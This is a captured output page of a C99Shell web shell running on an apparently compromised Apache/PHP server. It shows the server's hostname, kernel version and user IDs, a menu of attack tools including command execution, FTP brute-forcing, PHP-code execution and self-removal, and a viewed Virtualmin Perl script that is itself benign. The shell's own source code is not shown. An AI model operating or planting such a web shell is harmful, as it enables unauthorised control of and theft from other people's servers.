!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list-commands.pl (3.05 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

=head1 list-commands.pl

Lists API scripts available

This command lists all API commands available, categorized by type and
with a brief summary of each. It is used to produce the output from the
Virtualmin C<--help> command. By default the output is in a human-readable format,
but you can switch to a more parsable format with the C<--multiline> flag.

=cut

package virtual_server;
if (!$module_name) {
    $main::no_acl_check++;
    $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
    $ENV{'WEBMIN_VAR'} ||= "/var/webmin";
    if ($0 =~ /^(.*)\/[^\/]+$/) {
        chdir($pwd = $1);
        }
    else {
        chop($pwd = `pwd`);
        }
    $0 = "$pwd/list-features.pl";
    require './virtual-server-lib.pl';
    $< == 0 || die "list-commands.pl must be run as root";
    }

# Parse command-line args
my $short = 1;
while(@ARGV > 0) {
    local $a = shift(@ARGV);
    if ($a eq "--short") {
        $short = 1;
        }
    elsif ($a eq "--long") {
        $short = 0;
        }
    elsif ($a eq "--multiline") {
        $multiline = 1;
        }
    elsif ($a eq "--name-only") {
        $nameonly = 1;
        }
    elsif ($a eq "--help") {
        &usage();
        }
    else {
        &usage("Unknown parameter $a");
        }
    }

# Work out the max command length, for formatting
my $maxlen = 0;
foreach my $c (&list_api_categories()) {
    my ($cname, @cglobs) = @$c;
    foreach my $cmd (map { glob($_) } @cglobs) {
        my $scmd = $cmd;
        $scmd =~ s/\.pl$// if ($short);
        $maxlen = length($scmd) if (length($scmd) > $maxlen);
        }
    }

# Go through the categories
my @skips = &list_api_skip_scripts();
my %cdescs = &list_api_category_descs();
my %done;
my $fmt = "\%-${maxlen}.${maxlen}s \%s\n";
foreach my $c (&list_api_categories()) {
    my ($cname, @cglobs) = @$c;
    @cglobs = map { my $g = $_; ($g, "pro/$g", map { "$root_directory/$_/$g" } @plugins) } @cglobs;
    my @cmds = map { glob($_) } @cglobs;
    @cmds = grep { &indexof($_, @skips) < 0 && !$done{$_} } @cmds;

    # Print a line for each command
    my $donehead = 0;
    foreach my $cmd (@cmds) {
        my $src = &read_file_contents($cmd);
        next if ($src !~ /=head1\s+(.*)\n\n(.*)\n/);
        my $desc = $2;
        my $scmd = $cmd;
        $scmd =~ s/^.*\///;
        $scmd =~ s/\.pl$// if ($short);
        if ($multiline) {
            # Show a block for the command
            print $scmd,"\n";
            print "    Description: $desc\n";
            print "    Category: $cname\n";
            }
        elsif ($nameonly) {
            # Just command name
            print $scmd,"\n";
            }
        else {
            # Just one line, maybe wrapped
            my $wrap;
            while (length($desc) + $maxlen > 79) {
                # Line is too long - wrap it by taking off
                # a word
                $desc =~ s/\s(\S+)$//;
                $wrap = $1." ".$wrap;
                }
            $desc =~ s/\.\s*$//;
            $wrap =~ s/\.\s*$//;
            if (!$donehead) {
                # Category header
                print $cname,"\n";
                print ("-" x length($cname));
                print "\n";
                $donehead = 1;
                }
            printf $fmt, $scmd, $desc;
            printf $fmt, "", $wrap if ($wrap);
            }
        $done{$cmd}++;
        }
    if ($donehead && !$multiline && !$nameonly) {
        print "\n";
        }
    }

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Lists available command-line API scripts.\n";
print "\n";
print "virtualmin list-commands [--short]\n";
print "                         [--multiline | --name-only]\n";
exit(1);
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--